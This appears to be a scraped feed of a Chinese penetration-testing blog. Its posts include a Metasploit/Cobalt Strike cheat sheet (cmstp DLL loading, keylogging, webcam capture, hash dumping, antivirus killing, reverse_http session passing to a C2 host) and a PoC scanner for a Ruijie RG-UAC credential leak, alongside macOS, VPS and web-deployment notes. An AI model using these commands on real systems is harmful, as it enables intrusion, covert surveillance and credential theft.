新建 l.inf 文件 修改 RegisterOCXSection 为 MSF生成的dll路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[version]
Signature=$chicago$
AdvancedINF=2.5
 
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
 
[RegisterOCXSection]
C:\Users\Pow\Desktop\go.dll
 
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="saul"
ShortSvcName="saul"

把 go.dll 和 l.inf 上传，运行命令加载上线

1
cmstp.exe /s l.inf

https://micro8.gitbook.io/micro8/contents-1/71-80

Meterpreter用例

刚获得Meterpreter Shell时，该Shell是极其脆弱的，可以把它和目标机中一个稳定的程序绑定

1
2
3
getpid#查看当前Meterpreter Shell的进程号
ps#获取目标机正运行的进程
migrate 476#将shell迁移到PID为786的进程中

命令摘要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwd、ls、cd
getuid#查看当前权限
getsystem#获得系统管理员权限（要本地管理员权限运行）
hashdump#抓哈希密码
sysinfo#查看系统信息
idletim     #查看目标系统已运行时间
route#查看目标机完整网络设置
shell#进入目标机shell，exit退出she
background#将meterpreter隐藏在后台

upload ./1.txt c:\\1.txt#上传文件
download c:\1.txt ./#下载文件
search -f *.txt -d c://#搜索文件

keyscan_start#启动键盘记录
keyscan_stop#停止键盘记录
keyscan_dump#转储键盘记录的内容
screenshot#抓取截屏
webcam_list#摄像头列表
webcam_snap#摄像头拍照
webcam_stream#抓取视频

#Kali-Linux下登录远程桌面
sudo rdesktop -f 目标IP

route add IP 子网掩码    #添加路由，先background

后渗透模块（Post）

1
2
3
4
5
6
7
8
run post/windows/gather/checkvm#检查目标是否虚拟机
run post/linux/gather/checkvm
run post/windows/manage/killav#关闭杀软
run post/windows/manage/enable_rdp#开启目标远程桌面
run post/windows/gather/enum_logged_on_users#列举当前登陆用户，和最近登陆过的用户
run post/windows/gather/enum_applications#列举应用程序
run post/windows/gather/smart_hashdump     #智能读 hash
run windows/gather/credentials/windows_autologin#列举自动登陆的用户名和密码

派生 Shell 给 CobaltStrike

1
2
3
4
5
6
7
8
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST xx.x.x.x  # CS IP
set LPORT xx        # CS http监听端口
set session 1
set DISABLEPAYLOADHANDLER true
run

CS 派生 MSF

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost xx.xx.xx.xx
set lport xx
run

选择 foreign 类型的监听进行 Spawn，填写MSF 的 IP 和监听端口

image-20210704223435428

]]> <h1 id="MSF-作战手册及联动-CobaltStrike"><a href="#MSF-作战手册及联动-CobaltStrike" class="headerlink" title="MSF 作战手册及联动 CobaltStrike"></a>MSF 作战手册及联动 Co 安装 YunYouJun 牌云空调 https://www.lintstar.top/2021/05/b5afb4fa.html 2021-05-10T14:22:22.000Z 2023-11-09T07:40:38.119Z 前言

今天有幸看到了一款精致的云空调：

image-20210511002006017

一看链接 https://ac.yunyoujun.cn/

职业病点进了 Gayhub 看到了这个好玩的项目：air-conditioner

image-20210511002407999

主人也很可爱阿： https://www.yunyoujun.cn/posts/air-conditioner/

image-20210511011209845

云空调体验馆

❄️ 云空调，便携小空调，为你的夏日带去清凉！

那么它能做什么呢？没错，随时随地打开空调。唯一的缺憾是，没有风。但我们也许可以「望空调止热」。

欢迎来到空调房：

这个 iframe 嵌入的 markdown 语法为：

1
2
3
4
5
---

<iframe height="740" frameborder="no" src="https://ac.lintstar.top"></iframe>

---

才知道两组 — 包起来 居然可以有这个作用

Delivery - 2021 表示该云空调产于 2021 年 ~

移动款裸机

https://ac.lintstar.top

安装云空调

“ 遵从最宽松的 MIT 协议，你可以自行 clone 本项目，并自定义地构建它 ”

听从云游君的建议 新建了仓库 air-conditioner

1. 首先克隆了云游君 master 的仓库 pull 到了自己的 main分支

2. 新建自己的 workflow

image-20210511013159308

3. 命名为 gh-pages.yml 内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
name: Github Pages

on:
  push:
    branches:
      - main # Set a branch name to trigger deployment

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2

      - name: Setup Node
        uses: actions/setup-node@v1
        with:
          node-version: "12.x"

      - name: Build
        run: yarn && yarn build

      - name: Deploy
        uses: peaceiris/actions-gh-pages@v3
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
          publish_dir: ./build
          force_orphan: true

坑点是注意分支一定要改成 main 不然 actions 跑不起来

4. 开启 GithubPage 选在 gh-pages 分支

5. 修改 package.json 的 homepage 同时触发 Actions 安装我们的云空调

6. 安装成功：

image-20210510234704543

触发工作流程详见：https://docs.github.com/cn/actions/reference/events-that-trigger-workflows

解析到子域名

但是这个链接的形式并不快乐

目标是把小空调放到子域名 ac.lintstar.top

先把 ac.lintstar.top 解析到主站的 Github Pages

image-20210510235130117

关键在这里：自定义域允许您从其他域为站点提供服务www.lintstar.top

image-20210510235346406

等待域名厂商的 DNS 解析核查通过后勾选 HTTPS

image-20210511001634035

设置成功后 正常解析了：

image-20210511001706388

解锁了新姿势阿 之前一直以为只能一个 CNAME 解析 感觉又可以有新花样玩了

回到 安装云空调 修改 package.json 中的 homepage

image-20210511012833791

成功解析到子域名 ~

image-20210511003459651

]]> <h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p><strong>今天有幸看到了一款精致的云空调：</strong></p> <p><img src= "/img/loading.gif" MacOS Big Sur 配置及使用记录 https://www.lintstar.top/2021/04/4b5824a3.html 2021-04-20T15:49:59.000Z 2023-11-09T07:40:38.119Z 作为近几年以来变化最大的 macOS 更新，macOS Big Sur 对内置应用的图标、应用的设计语言、桌面的程序坞和菜单栏等方面都进行了重新设计，拟物化的风格深得人心。

虽说 “BugSur” 的名号不是白来的，但是在我近半年的使用体验来看，暂时没有遇到过实在无法解决的问题，所以还是很推荐有 “余力” 的 Mac 升级 BigSur 的，拥抱新事物总会有令人开心的地方 ~

本文会不断记录使用过程中遇到的各种问题，以及能提升幸福感的 macOS 配置。

Mac 配置

image-20210511124753664

系统快捷键

剪切、拷贝、粘贴和其他常用快捷键
Command + X剪切所选项并拷贝到剪贴板
Command + C将所选项拷贝到剪贴板。这同样适用于“访达”中的文件
Command + V将剪贴板的内容粘贴到当前文稿或 App 中。这同样适用于“访达”中的文件
Command + Z撤销上一个命令。随后您可以按 Shift + Command + Z 来重做，从而反向执行撤销命令。在某些 App 中，您可以撤销和重做多个命令
Command + A全选各项
Command + F查找文稿中的项目或打开“查找”窗口
Command + G再次查找：查找之前所找到项目出现的下一个位置。要查找出现的上一个位置，请按 Shift + Command + G
Command + H隐藏最前面的 App 的窗口。要查看最前面的 App 但隐藏所有其他 App，请按 Option + Command + H
Command + M将最前面的窗口最小化至“程序坞”。要最小化最前面的 App 的所有窗口，请按 Option + Command + M
Command + O打开所选项，或打开一个对话框以选择要打开的文件
Command + P打印当前文稿
Command + S存储当前文稿
Command + T打开新标签页
Command + W关闭最前面的窗口。要关闭 App 的所有窗口，请按下 Option + Command + W
Option + Command + Esc强制退出 App
Command + 空格键显示或隐藏“聚焦”搜索栏。要从“访达”窗口执行“聚焦”搜索，请按 Command + Option + 空格键。
Control + Command + 空格键显示字符检视器，您可以从中选择表情符号和其他符号
Control + Command + F全屏使用 App（如果 App 支持）
空格键使用快速查看来预览所选项
Command + Tab在打开的 App 中切换到下一个最近使用的 App
Shift + Command + 5在 macOS Mojave 或更高版本中，拍摄截屏或录制屏幕。也可以使用 Shift + Command + 3 或 Shift + Command + 4 来拍摄截屏。
Shift + Command + N在“访达”中创建一个新文件夹
Command + , (逗号)打开最前面的 App 的偏好设置

— 软件 —

核心生产力：https://macwk.com/

iTerm2

macOS 灵魂软件

配置效果：

image-20210511125327640

Zsh

zsh 是一款功能强大的 shell 软件，它可以兼容 bash，并且提供了很多高效的改进。它是Linux里最庞大的一种shell，它有84个内部命令，也提供了更为强大的功能:

  • 更好的自动补全
  • 更好的文件名展开
  • 丰富的插件
  • 强大的定制性

配置文件

1
vim .zshrc

插件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
78 # Which plugins would you like to load?
79 # Standard plugins can be found in $ZSH/plugins/
80 # Custom plugins may be added to $ZSH_CUSTOM/plugins/
81 # Example format: plugins=(rails git textmate ruby lighthouse)
82 # Add wisely, as too many plugins slow down shell startup.
83 plugins=(
84         git
85         zsh-autosuggestions
86         autojump
87         zsh-syntax-highlighting
88 )
89
90 [ -f /usr/local/etc/profile.d/autojump.sh ] && . /usr/local/etc/profile.d/autojump.sh
91 source $ZSH/oh-my-zsh.sh

软链接

1
2
3
4
5
6
ln -s /Users/lintstar/opt/anaconda3 /usr/local/bin/anaconda
ln -s /Users/lintstar/Library/Python/3.8/bin/virtualenv /usr/local/bin

ln -s /Users/lintstar/Tools/attack/fscan/fscan /usr/local/bin
ln -s /Users/lintstar/Tools/subfinder/subfinder /usr/local/bin
ln -s /Users/lintstar/Tools/Attack/httpx/httpx /usr/local/bin

刷新 Zsh

1
source ~/.zshrc

oh my zsh

由于 zsh 配置过于复杂，一般情况下，我们不会使用该 shell，直到「oh my zsh」的出现。

Oh My Zsh 是一款社区驱动的命令行工具，正如它的主页上说的，Oh My Zsh 是一种生活方式。

它基于zsh命令行，提供了主题配置，插件机制，已经内置的便捷操作，给我们一种全新的方式使用命令行。

配置

在 .zshrc 中编辑

1
2
3
4
5
6
7
8
16 # Path to your oh-my-zsh installation.
17 export ZSH="/Users/lintstar/.oh-my-zsh"
18
19 # Set name of the theme to load --- if set to "random", it will
20 # load a random theme each time oh-my-zsh is loaded, in which case,
21 # to know which specific one was loaded, run: echo $RANDOM_THEME
22 # See https://github.com/ohmyzsh/ohmyzsh/wiki/Themes
23 ZSH_THEME="myys"

myys 主题

主题位置

1
$ cd ~/.oh-my-zsh/themes

myys.zsh-theme 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
$ cat myys.zsh-theme
# Clean, simple, compatible and meaningful.
# Tested on Linux, Unix and Windows under ANSI colors.
# It is recommended to use with a dark background.
# Colors: black, red, green, yellow, *blue, magenta, cyan, and white.
#
# Mar 2013 Yad Smood

# VCS
YS_VCS_PROMPT_PREFIX1=" %{$fg[white]%}on%{$reset_color%} "
YS_VCS_PROMPT_PREFIX2=":%{$fg[cyan]%}"
YS_VCS_PROMPT_SUFFIX="%{$reset_color%}"
YS_VCS_PROMPT_DIRTY=" %{$fg[red]%}x"
YS_VCS_PROMPT_CLEAN=" %{$fg[green]%}o"

# Git info
local git_info='$(git_prompt_info)'
ZSH_THEME_GIT_PROMPT_PREFIX="${YS_VCS_PROMPT_PREFIX1}git${YS_VCS_PROMPT_PREFIX2}"
ZSH_THEME_GIT_PROMPT_SUFFIX="$YS_VCS_PROMPT_SUFFIX"
ZSH_THEME_GIT_PROMPT_DIRTY="$YS_VCS_PROMPT_DIRTY"
ZSH_THEME_GIT_PROMPT_CLEAN="$YS_VCS_PROMPT_CLEAN"

# HG info
local hg_info='$(ys_hg_prompt_info)'
ys_hg_prompt_info() {
# make sure this is a hg dir
if [ -d '.hg' ]; then
echo -n "${YS_VCS_PROMPT_PREFIX1}hg${YS_VCS_PROMPT_PREFIX2}"
echo -n $(hg branch 2>/dev/null)
if [ -n "$(hg status 2>/dev/null)" ]; then
echo -n "$YS_VCS_PROMPT_DIRTY"
else
echo -n "$YS_VCS_PROMPT_CLEAN"
fi
echo -n "$YS_VCS_PROMPT_SUFFIX"
fi
}

local exit_code="%(?,,C:%{$fg[red]%}%?%{$reset_color%})"

# Prompt format:
#
# PRIVILEGES USER @ MACHINE in DIRECTORY on git:BRANCH STATE [TIME] C:LAST_EXIT_CODE
# $ COMMAND
#
# For example:
#
# % ys @ ys-mbp in ~/.oh-my-zsh on git:master x [21:47:42] C:0
# $
PROMPT="
%{$terminfo[bold]$fg[blue]%}#%{$reset_color%} \
%(#,%{$bg[yellow]%}%{$fg[black]%}%n%{$reset_color%},%{$fg[cyan]%}%n) \
%{$fg[white]%}from \
%{$terminfo[bold]$fg[yellow]%}%~%{$reset_color%}\
${hg_info}\
${git_info}\
 \
%{$fg[white]%}[%*] $exit_code
%{$terminfo[bold]$fg[red]%}$ %{$reset_color%}"

超级右键

右键进入 iTerm2 的巴适懂得都懂

image-20210415012644180

Bob

翻译功能 Command+d 就不说了

重点是截图翻译可以用来当作文字识别使用

在一些不能复制粘贴的地方还是很方便的

image-20210511122258953

配置好 API 即可 （百度翻译体验很好而且免费~）

image-20210511121651216

HiddenBar

image-20210511122723692

在 | 和 > 中间可以用Command 拖入需要一直显示但是很占地方的菜单栏 例如 QQ 音乐

实际效果

image-20210511122657500

Image2icon

自己封装 APP 时候制作图标神器

image-20210511123425488

配合自动操作体验极好：

image-20210511123646022

Chrome

Suspicious Site Reporter

Chrome 官方插件 可以显示 https 还是 http 方便粘贴 URL

image-20210511113810266

Pycharm

插件

Chinese (Simplified )Language Pack/ 中文语言包

添加中文作为 IDE 界面语言。

Material Theme U

主题插件看个人喜好 ~

Ideavim

像 VIM 一样编辑代码。

Nyan Progress Bar

基于LJ的ide的nyan cat的retty进度条：

image-20210511115657423

Mac Pycharm 空间或内存不够

image-20210415030649132

—环境—

HomeBrew

Homebrew 是安装 Apple 不包含在 macOS 中的 UNIX 工具的最简单，最灵活的方法。它还可以将不需要 Linux 发行包打包的软件安装到主目录，而无需安装 sudo。

HomeBrew 已经支持 BigSur！划重点

安装脚本

1
/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"

自检命令

1
/usr/local/bin/brew doctor
1
2
3
brew install smartmontools

smartctl -a disk0

https://zhuanlan.zhihu.com/p/111014448

卸载重新安装

1
brew uninstall --force node && brew install node

Download failed 问题

这个报错怎么查都解决不了，查了一万种方法，甚至重装了 brew

后面断掉公司网：

image-20210412043447403

！！！！！！！！！！！！

解决办法

  1. 更换网络尝试
  2. brew update 后再次尝试

Redis

1. 安装命令

1
$ brew install redis

2. 进入安装目录

1
$ cd /usr/local/Cellar/redis/4.0.6/bin

3. 启动、关闭redis

1
$ redis-server

以下命令即可关闭redis服务

1
redis 127.0.0.1:6379> SHUTDOWN

4. 连接redis服务

1
$ redis-cli -h  127.0.0.1（ip） -p 1234（端口号）

5. 键入授权登录密码

1
127.0.0.1:6379> AUTH 123456（密码）

6. 退出本次会话

1
127.0.0.1:6379> quit

Hashcat

1
2
3
4
5
# 安装hashcat
brew install hashcat

# 查看版本
hashcat --version

Hashcat 存放已经成功破解的密码文件位置为：~/.hashcat/hashcat.potfile

Anaconda

常用命令

1
2
3
4
$ conda env list
# conda environments:
#
base                  *  /Users/lintstar/opt/anaconda3

查看当前配置信息

1
conda info

mac 安装了conda后，前面会有一个(base)

安装conda后，每次启动终端，都会自动启动conda的base环境，conda的环境可以用 conda env list 查看

解决办法：

1
conda config --set auto_activate_base false

参考链接

Metasploit

下载安装

最新版下载地址：https://osx.metasploit.com/metasploitframework-latest.pkg

image-20210526111056496

Zsh 软链接

1
vim ~/.zshrc

添加一条软链接记录

1
export PATH="$PATH:/opt/metasploit-framework/bin"

刷新 Zsh

1
zsh

使用

初始化数据库

1
2
cd /opt/metasploit-framework/bin
./msfdb init

运行 MSF

1
msfconsole

启动账号密码设置 msf/msf

可能出现某个模块加载失败：

image-20210526113619529

解决办法：

1
open /opt/metasploit-framework/embedded/framework/modules/auxiliary/gather

image-20210526113700779

修改后即可正常启动：

image-20210526113759574

卸载

1
2
cd /opt/metasploit-framework/bin
sudo ./msfremove
]]> <p><strong>作为近几年以来变化最大的 macOS 更新，macOS Big Sur 对内置应用的图标、应用的设计语言、桌面的程序坞和菜单栏等方面都进行了重新设计，拟物化的风格深得人心。</strong></p> <p><strong>虽说 “BugSur” 的名号不是白 隐藏 C2的几种方式 https://www.lintstar.top/2021/03/7b4f6af8.html 2021-03-28T15:49:59.000Z 2023-11-09T07:40:38.119Z
]]> Here's something encrypted, password is required to continue reading. Crawlergo动态爬虫联动Xray https://www.lintstar.top/2021/03/33b41b9d.html 2021-03-10T15:49:59.000Z 2023-11-09T07:40:38.119Z Crawlergo动态爬虫联动Xray

前言

被动扫描可以通过代理方式，把浏览过的网页进行漏洞扫描，而一个小巧强大的爬虫可以爬取到足够丰富的 URL 信息，因此就有了 Crawlergo 和 Xray 的梦幻联动。

项目地址：https://github.com/timwhitez/crawlergo_x_XRAY

准备

下载压缩包：https://github.com/timwhitez/crawlergo_x_XRAY/archive/master.zip

或者 Git 到本地：

1
git clone https://github.com/timwhitez/crawlergo_x_XRAY.git

Crawlergo

Crawlergo是一个使用 chrome headless 模式进行URL入口收集的动态爬虫。 使用 Golang 语言开发,尽可能的收集网站暴露出的入口。同时，依靠智能URL去重模块，在过滤掉了大多数伪静态URL之后，仍然确保不遗漏关键入口链接，大幅减少重复任务。

下载地址

下载对应版本放到项目的 crawlergo 文件夹

Windows 版本：https://github.com/0Kee-Team/crawlergo/releases/download/v0.4.0/crawlergo_windows_amd64.zip

Mac 版本：https://github.com/0Kee-Team/crawlergo/releases/download/v0.4.0/crawlergo_darwin_amd64.zip

使用测试

测试前需要先确定你的 Chrome 或者 Chromium 浏览器可执行文件的安装位置

Windows:

1
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Mac:

1
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome

注意这里的Unix 可执行文件需要显示包内容才看得到：

image-20210308014131625

爬取URL

1
./crawlergo -c /Applications/Chromium.app/Contents/MacOS/Chromium -t 20 http://testphp.vulnweb.com

image-20210308013601707

Xray

xray 是一款功能强大的安全评估工具，也是一款著名的支持被动扫描的扫描器。

下载地址

下载对应版本放到项目的 xray 文件夹

Windows 版本：https://github.com/chaitin/xray/releases/download/1.7.0/xray_windows_amd64.exe.zip

Mac 版本：https://github.com/chaitin/xray/releases/download/1.7.0/xray_darwin_amd64.zip

测试运行

image-20210308015125816

Crawlergo联动Xray

扫描逻辑

食用方法

  1. 把 launcher.py 和 targets.txt 放在 crawlergo 目录下

  2. 配置好并启动xray被动扫描（脚本默认配置为127.0.0.1:7777）若修改端口请同时修改 launcher.py 文件中的 proxies

1
./xray_darwin_amd64 webscan --listen 127.0.0.1:7777 --html-output test.html

image-20210308020400899

  1. 将测试 Crawlergo 爬虫时的浏览器路径替换到 launcher.py 的 cmd 变量
  2. 将目标 URL 写进 targets.txt，一行一个 URL
  3. 运行 launcher.py
1
python3 launcher.py

遇到报错缺少模块时

1
ModuleNotFoundError: No module named 'xx'

执行下面命令即可：

1
pip3 install xx

使用效果

crawl ok说明启动成功

image-20210308020854526

Xray 已成功接收 Crawlergo 爬虫的 URL 信息并扫描到漏洞

image-20210308015039860

漏洞信息：

image-20210308022353420

]]> <h1 id="Crawlergo动态爬虫联动Xray"><a href="#Crawlergo动态爬虫联动Xray" class="headerlink" title="Crawlergo动态爬虫联动Xray"></a>Crawlergo动态爬虫联动Xray</h1><h1 i 锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞 https://www.lintstar.top/2021/03/6c05e651.html 2021-03-08T04:00:58.000Z 2023-11-09T07:40:38.119Z 锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞

漏洞描述

锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露,可以间接获取用户账号密码信息登录后台

编号：CNVD-2021-14536

Fofa指纹

1
title="RG-UAC登录页面" && body="admin"

漏洞利用

image-20210308161840038

源代码搜索：

image-20210308161935213

MD5解密：

image-20210308162005706

登录成功

image-20210308162316216

自动化 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mVersion: 锐捷RG-UAC统一上网行为管理审计系统                             \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mFile         >>> ip.txt                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "super_admin" in response.text and "password" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {}存在漏洞 ,F12查看源码获取密码md5值 \033[0m".format(target_url))
        else:
            print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))

def Scan(file_name):
    with open(file_name, "r", encoding='utf8') as scan_url:
        for url in scan_url:
            if url[:4] != "http":
                url = "http://" + url
            url = url.strip('\n')
            try:
                POC_1(url)

            except Exception as e:
                print("\033[31m[x] 请求报错 \033[0m".format(e))
                continue

if __name__ == '__main__':
    title()
    file_name  = str(input("\033[35mPlease input Attack File\nFile >>> \033[0m"))
    Scan(file_name)
]]> <h2 id="锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞"><a href="#锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞" class="headerlink" title="锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞"> VPS 配置记录 https://www.lintstar.top/2021/02/bc3116a4.html 2021-02-09T04:00:58.000Z 2023-11-09T07:40:38.119Z 前言

日常学习工作总需要一台 Linux 主机，但是每次需要配置环境的时候会很繁琐，因此用本文记录一下新装 Linux 的环境配置命令，方便日后使用。

GCP开启密码与root用户登陆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo -i   //切换到root用户
vi /etc/ssh/sshd_config //编辑文件

#### 允许 root 权限登录
# Authentication:
# 限制用户必须在指定的时限内认证成功
LoginGraceTime 120
PermitRootLogin yes
StrictModes yes

#### 开启密码登录
# Change to no to disable tunnelled clear text passwords
PasswordAuthentication yes

# 重启 SSH
service sshd restart

# 修改 root 密码
passwd root

image-20210305172559526

image-20210305172703586

修改主机名

1
2
3
echo 'Xstark' >/etc/hostname
hostname `cat /etc/hostname`
bash

CentOS 更换源

1
2
3
4
5
6
7
8
9
curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-8.repo
yum -y install wget

# 查看是否修改成功
cat /etc/yum.repos.d/CentOS-Base.repo

# 生成缓存 升级软件包
yum makecache
yum -y update

CentOS 开启 SSH

1
2
3
4
5
6
7
# 检测是否安装 openssh-server
yum list installed | grep openssh-server
# 没有输出的话需要执行命令
yum install openssh-server

# 编辑 sshd 的配置文件
vim /etc/ssh/sshd_config

image-20210208124142515

AddressFamily
指定 sshd(8) 应当使用哪种地址族。取值范围是：”any”(默认)、”inet”(仅IPv4)、”inet6”(仅IPv6)。

Python

1
2
# 安装 Python3.6
yum -y install python36

Java

1
2
3
4
# 安装 jdk1.8
yum install java-1.8.0-openjdk* -y
# 查看版本
java -version

Nginx

1
2
3
4
5
6
7
8
9
# 安装:
yum install nginx
# 启用并启动Nginx服务：
$ sudo systemctl enable nginx
$ sudo systemctl start nginx
# 停止服务：
$ sudo systemctl stop nginx
# 要验证服务是否正在运行，检查其状态：
$ sudo systemctl status nginx

Mysql

1
2
sudo dnf install mysql-server
sudo systemctl start mysqld.service

查询 Mysql 状态：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo systemctl status mysqld

● mysqld.service - MySQL 8.0 database server
   Loaded: loaded (/usr/lib/systemd/system/mysqld.service; disabled; vendor preset: disabl>
   Active: active (running) since Sat 2021-02-20 20:33:45 PST; 1min 26s ago
  Process: 10223 ExecStartPost=/usr/libexec/mysql-check-upgrade (code=exited, status=0/SUC>
  Process: 10096 ExecStartPre=/usr/libexec/mysql-prepare-db-dir mysqld.service (code=exite>
  Process: 10072 ExecStartPre=/usr/libexec/mysql-check-socket (code=exited, status=0/SUCCE>
 Main PID: 10178 (mysqld)
   Status: "Server is operational"
    Tasks: 39 (limit: 4773)
   Memory: 295.0M
   CGroup: /system.slice/mysqld.service
           └─10178 /usr/libexec/mysqld --basedir=/usr

Feb 20 20:33:38 Xstark systemd[1]: Starting MySQL 8.0 database server...
Feb 20 20:33:38 Xstark mysql-prepare-db-dir[10096]: Initializing MySQL database
Feb 20 20:33:45 Xstark systemd[1]: Started MySQL 8.0 database server.
lines 1-16/16 (END)

设置服务器启动时启动

1
sudo systemctl enable mysqld

设置安全策略

1
2
0.0.0.0 然后mysql.user  root的host 设置成%
flush

Ubuntu16.04 升级 Python3.8

下载源码

1
wget https://www.python.org/ftp/python/3.8.0/Python-3.8.0.tgz

解压源码

1
tar -xvzf Python-3.8.0.tgz

进入目录

1
cd Python-3.8.0

安装python3.8.0依赖

1
2
3
4
sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade
sudo apt-get install build-essential python-dev python-setuptools python-pip python-smbus libncursesw5-dev libgdbm-dev libc6-dev zlib1g-dev libsqlite3-dev tk-dev libssl-dev openssl libffi-dev

配置安装路径

1
./configure --with-ssl --prefix=/usr/local/python3

编译

1
make

安装

1
sudo make install

删除软链接

1
2
sudo rm -rf /usr/bin/python3
sudo rm -rf /usr/bin/pip3

新建软链接

1
2
sudo ln -s /usr/local/python3/bin/python3.8 /usr/bin/python3
sudo ln -s /usr/local/python3/bin/pip3.8 /usr/bin/pip3

检查是否安装成功

1
2
3
4
python3
Python 3.8.0 (default, Mar 27 2021, 12:35:37)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.

升级后无法使用 PIP3 问题解决办法

报错信息如下：

image-20210328162425224

原因是是找不到 lsb_release 模块

使用下面的命令查找：

1
2
3
4
sudo find / -name 'lsb_release.py'
/usr/share/pyshared/lsb_release.py
/usr/lib/python2.7/dist-packages/lsb_release.py
/usr/lib/python3/dist-packages/lsb_release.py

复制到报错的目录下：

1
sudo cp /usr/lib/python3/dist-packages/lsb_release.py /usr/local/python3/lib/python3.8/

问题解决：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@xstark:~#  pip3 install
ERROR: You must give at least one requirement to install (see "pip help install")
WARNING: You are using pip version 19.2.3, however version 21.0.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.

root@xstark:~# pip3 install --upgrade pip
Collecting pip
  Downloading https://files.pythonhosted.org/packages/fe/ef/60d7ba03b5c442309ef42e7d69959f73aacccd0d86008362a681c4698e83/pip-21.0.1-py3-none-any.whl (1.5MB)
     |████████████████████████████████| 1.5MB 15.9MB/s
Installing collected packages: pip
  Found existing installation: pip 19.2.3
    Uninstalling pip-19.2.3:
      Successfully uninstalled pip-19.2.3
Successfully installed pip-21.0.1

参考链接：https://choudalao.com/article/100

]]> <h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p><strong>日常学习工作总需要一台 Linux 主机，但是每次需要配置环境的时候会很繁琐，因此用本文记录一下新装 Linux 的环境配置 JumpServer RCE 漏洞复现 https://www.lintstar.top/2021/01/a3a6c3e5.html 2021-01-31T04:00:58.000Z 2023-11-09T07:40:38.118Z
]]> Here's something encrypted, password is required to continue reading. 子域名接管 https://www.lintstar.top/2021/01/9072ee96.html 2021-01-25T04:00:58.000Z 2023-11-09T07:40:38.119Z
]]> Here's something encrypted, password is required to continue reading. 内网信息收集手册 https://www.lintstar.top/2021/01/b94284bf.html 2021-01-24T04:00:58.000Z 2023-11-09T07:40:38.119Z
]]> Here's something encrypted, password is required to continue reading. Python 实现自动登录签到及微信通知 https://www.lintstar.top/2021/01/5bf799f.html 2021-01-22T14:00:58.000Z 2023-11-09T07:40:38.119Z 前言

零组资料文库 3.0 设置了信誉积分机制：

信誉积分权限
0-200六个月之前的文章
201-400五个月之前的文章
401-600四个月之前的文章
601-800三个月之前的文章
801-1000两个月之前的文章
1000分以上一个月之前的文章

加分规则：

每日签到可加3分；投稿文章可加10分。

文库的权限是随着时间线进行推进的，也就是说即使一直是0分，也会在时间线的推进下自动递增可浏览的文章。

所以就需要一个签到脚本啦 ~

验证码识别

因为零组的登录界面涉及到验证码

20210124_1159

需要一个验证码识别接口：

图鉴：http://www.ttshitu.com/

价格

image-20210122181937953

流量包完全没必要 1块500次可以用好久

识别效果

这种简单的验证码准确度还是很不错的：

image-20210122182317193

Server 酱

Python3 测试脚本：

1
2
3
4
5
6
7
8
# coding=utf-8
import requests

key = "" # Server 酱的SCKEY
url = "https://sc.ftqq.com/%s.send"%(key)
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'}
payload = {'text': 'Server 酱提醒', 'desp': 'Python 用 Server 酱推送微信模板消息'}
requests.post(url, params=payload, headers=headers)

复制SCKEY：

image-20210122235416805

自动签到脚本

脚本改自：

image-20210122202435193

添加了 Server 酱微信通知功能 方便每天接收通知

下载地址：https://github.com/lintstar/Zero-AutoCheck/releases

配置

在 ① ② 处填入 图鉴 的账号密码 ③ 处填入 Server 酱 的 SCKEY

image-20210122203901971

④ ⑤ 处分别填入 零组文库 的账号密码

image-20210122204419293

脚本效果

通知效果

image-20210122204759618

签到失败通知

image-20210122204838079

